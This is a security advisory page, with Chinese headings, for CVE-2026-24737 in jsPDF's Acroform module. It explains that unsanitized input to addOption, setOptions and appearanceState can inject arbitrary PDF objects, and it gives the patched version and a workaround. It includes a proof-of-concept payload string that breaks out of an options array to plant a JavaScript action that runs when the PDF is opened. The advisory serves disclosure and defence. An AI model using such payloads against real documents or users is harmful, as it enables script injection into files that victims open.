CVE-2026-24737

描述

### Impact User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are: * `AcroformChoiceField.addOption` * `AcroformChoiceField.setOptions` * `AcroFormCheckBox.appearanceState` * `AcroFormRadioButton.appearanceState` Example attack vector: ```js import { jsPDF } from "jspdf" const doc = new jsPDF(); var choiceField = new doc.AcroFormChoiceField(); choiceField.T = "VulnerableField"; choiceField.x = 20; choiceField.y = 20; choiceField.width = 100; choiceField.height = 20; // PAYLOAD: // 1. Starts with "/" to bypass escaping. // 2. "dummy]" closes the array. // 3. "/AA" injects an Additional Action (Focus event). // 4. "/JS" executes arbitrary JavaScript. const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage ["; choiceField.addOption(payload); doc.addField(choiceField); doc.save("test.pdf"); ``` ### Patches The vulnerability has been fixed in jsPDF@4.1.0. ### Workarounds Sanitize user input before passing it to the vulnerable API members. ### Credits Research and fix: Ahmet Artuç

如何修補 CVE-2026-24737

要修補 CVE-2026-24737,請將受影響套件升級到下列已修補版本。

• —升級至 4.1.0 或更新版本

CVE-2026-24737 正在被利用嗎?

低 — EPSS 為 0.5%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• from 0, < 4.1.0

CVSS 分數